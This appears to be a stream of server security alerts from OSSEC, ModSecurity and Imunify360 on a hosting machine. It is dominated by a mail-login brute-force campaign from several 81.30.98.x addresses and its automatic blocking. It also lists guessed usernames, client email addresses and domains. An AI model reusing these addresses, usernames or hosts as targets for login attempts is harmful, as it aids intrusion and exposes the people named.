[2026-06-22 17:15:39 +0000] info [cpaneld] 141.95.93.31 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:16:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44314: 535 Incorrect authentication data (set_id=plan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:17:07 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:17:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:44602: 535 Incorrect authentication data (set_id=passwd)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:16:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:16:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:48664: 535 Incorrect authentication data (set_id=sven)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.61.230.102
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/04/t\xc3\xa9l\xc3\xa9chargement-60.jpeg 275w, http:/togodailynews.tg/wp-content/uploads/2022/04/t\xc3\xa9l\xc3\xa9chargement-60-272x182.jpeg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:16:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:16:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:6734: 535 Incorrect authentication data (set_id=class)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:16:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:16:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:16:39 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:16:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:27324: 535 Incorrect authentication data (set_id=adread)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:16:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49998: 535 Incorrect authentication data (set_id=jenkins)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:17:36 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 17:17:41 +0000] info [cpaneld] 103.65.237.57 - Masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Masfloy (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.29.120
country_id: 2363686
description:
[2026-06-22 17:18:03 +0000] info [webmaild] 196.170.29.120 - pmdct@emt.tg "POST /cpsess5300121615/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.34.16] != Current IP Address [196.170.29.120]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:17:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25894: 535 Incorrect authentication data (set_id=photos5)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:17:56 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:17:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56568: 535 Incorrect authentication data (set_id=front1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:17:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:17:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:28784: 535 Incorrect authentication data (set_id=vtest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:17:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:19478: 535 Incorrect authentication data (set_id=sameer)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:17:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:17:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:17:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:43148: 535 Incorrect authentication data (set_id=edy)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:17:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:17:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:63334: 535 Incorrect authentication data (set_id=frigge)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:18:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59234: 535 Incorrect authentication data (set_id=pris)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:18:44 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:18:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:8918: 535 Incorrect authentication data (set_id=sin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:18:57 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:17:19:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815702&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782148756 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:18:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:18:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:10414: 535 Incorrect authentication data (set_id=u16)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:18:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:21760: 535 Incorrect authentication data (set_id=mailnull)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:18:47 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:18:52 +0000] info [cpaneld] 141.95.93.31 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:17:19:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13278103&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782148752 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:18:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:3568: 535 Incorrect authentication data (set_id=ares)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:18:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:18:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:7060: 535 Incorrect authentication data (set_id=aitor)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:18:41 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:19:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49200: 535 Incorrect authentication data (set_id=adm)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:19:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:19:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:16934: 535 Incorrect authentication data (set_id=papa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:19:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:59198: 535 Incorrect authentication data (set_id=ssotest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:19:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:9132: 535 Incorrect authentication data (set_id=moko)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:19:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34276: 535 Incorrect authentication data (set_id=airdrie)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 17:19:33 +0000] info [cpaneld] 103.65.237.57 - stephaneogou@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:19:40 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:19:45 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-22 17:20:22 +0000] info [webmaild] 154.70.80.74 - koudjramey.akua@cloud-et-racks.tg "GET /cpsess1647434989/webmail/jupiter/index.html?mailclient=none HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:19:40 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:19:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21064: 535 Incorrect authentication data (set_id=papa)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:19:34 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:19:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39188: 535 Incorrect authentication data (set_id=online2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:19:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.226
country_id: 6252001
description:
Jun 22 17:19:29 ns5 pure-ftpd[2627864]: (?@198.235.24.226) [INFO] New connection from 198.235.24.226


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:20:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:34774: 535 Incorrect authentication data (set_id=testuser)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:20:39 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:20:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:30364: 535 Incorrect authentication data (set_id=hray)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:20:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:20:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:15046: 535 Incorrect authentication data (set_id=mailb)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:20:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:20:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:61400: 535 Incorrect authentication data (set_id=marietta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:20:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58084: 535 Incorrect authentication data (set_id=utilisateur)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:20:25 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:20:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48874: 535 Incorrect authentication data (set_id=inside)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:20:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:21:04 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-22 17:21:58 +0000] info [webmaild] 154.70.80.74 - mlapa.eyram@cloud-et-racks.tg "GET /cpsess0526772435/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=8&_mbox=INBOX&_action=show HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:21:29 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:21:45 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:21:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:60604: 535 Incorrect authentication data (set_id=users)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:21:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:21:50 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:22:00 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:22:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:36156: 535 Incorrect authentication data (set_id=pollux)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:21:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:6196: 535 Incorrect authentication data (set_id=blaine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:21:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:51338: 535 Incorrect authentication data (set_id=todd)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:21:48 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:21:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40864: 535 Incorrect authentication data (set_id=derick)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:21:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:8328: 535 Incorrect authentication data (set_id=kamei)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:22:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:22:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:15204: 535 Incorrect authentication data (set_id=daycare)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:22:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:39720: 535 Incorrect authentication data (set_id=ef)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:22:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11568: 535 Incorrect authentication data (set_id=ef)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:22:29 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:22:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:48114: 535 Incorrect authentication data (set_id=terminus)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:22:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35500: 535 Incorrect authentication data (set_id=noc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:22:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16686: 535 Incorrect authentication data (set_id=false)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:22:40 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:22:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:22:36 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:22:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:26144: 535 Incorrect authentication data (set_id=mormon)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:22:47 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 17:23:37 +0000] info [cpaneld] 103.65.237.57 - crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:23:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:10312: 535 Incorrect authentication data (set_id=celebrity)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:23:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:23:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:23:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32890: 535 Incorrect authentication data (set_id=already)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:23:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15342: 535 Incorrect authentication data (set_id=smtp-out)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:23:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:23:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25716: 535 Incorrect authentication data (set_id=jesslyn)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:23:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:1842: 535 Incorrect authentication data (set_id=oslo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:23:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:23:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:23:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
